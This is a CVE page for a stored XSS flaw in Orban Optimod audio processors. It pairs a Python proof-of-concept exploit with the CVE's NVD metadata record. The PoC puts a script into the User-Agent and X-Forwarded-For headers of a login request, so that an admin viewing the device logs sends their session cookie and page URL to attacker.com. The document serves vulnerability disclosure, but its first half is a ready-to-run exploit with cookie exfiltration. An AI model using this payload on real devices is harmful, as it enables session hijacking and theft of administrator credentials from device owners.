CVE-2025-61198

# CVE-2025-61198 - Orban Optimod Stored XSS PoC # This PoC demonstrates the stored XSS vulnerability in Optimod log rendering import requests TARGET_URL = "http://<target_optimod_ip>" LOG_INJECTION_ENDPOINT = "/api/logs" # Example endpoint for log injection # Malicious JavaScript payload to be injected into logs # This payload will execute when an admin views the logs in the web UI xss_payload = '<script>fetch("http://attacker.com/steal?cookie="+document.cookie+"&url="+document.location)</script>' def inject_xss_via_log(target_url, payload): """ Inject malicious JavaScript payload into the Optimod device logs. The payload will be stored and executed when an admin views the log entries. """ # Craft a request that causes the payload to be written into the log # The exact injection vector depends on the log source (e.g., HTTP header, # authentication attempt, or user-agent string) headers = { "User-Agent": payload, # Inject via User-Agent header which gets logged "X-Forwarded-For": payload, # Alternative injection via forwarded header } # Send request to trigger log entry with malicious payload response = requests.get( f"{target_url}/login", headers=headers, timeout=10 ) print(f"[*] Payload injected via log. Status: {response.status_code}") print(f"[*] Payload: {payload}") print(f"[*] When admin views logs, the script will execute in their browser.") if __name__ == "__main__": inject_xss_via_log(TARGET_URL, xss_payload)

{"cve": {"id": "CVE-2025-61198", "sourceIdentifier": "[email protected]", "published": "2025-10-06T14:15:43.033", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A stored cross-site scripting (XSS) vulnerability in Optimod 5950 - Optimod 5950HD - Optimod 5750 - Optimod 5750HD - Optimod Trio - Optimod version 1.0.0.33 - System version 2.5.26, allows remote attackers to execute arbitrary JavaScript in the web browser of a user, by including a malicious payload into the logs which would be returned in logs rendered in the UI."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://github.com/giulioschiavone/Vulnerability-Research/tree/main/CVE-2025-61198", "source": "[email protected]"}, {"url": "https://www.orban.com/", "source": "[email protected]"}]}}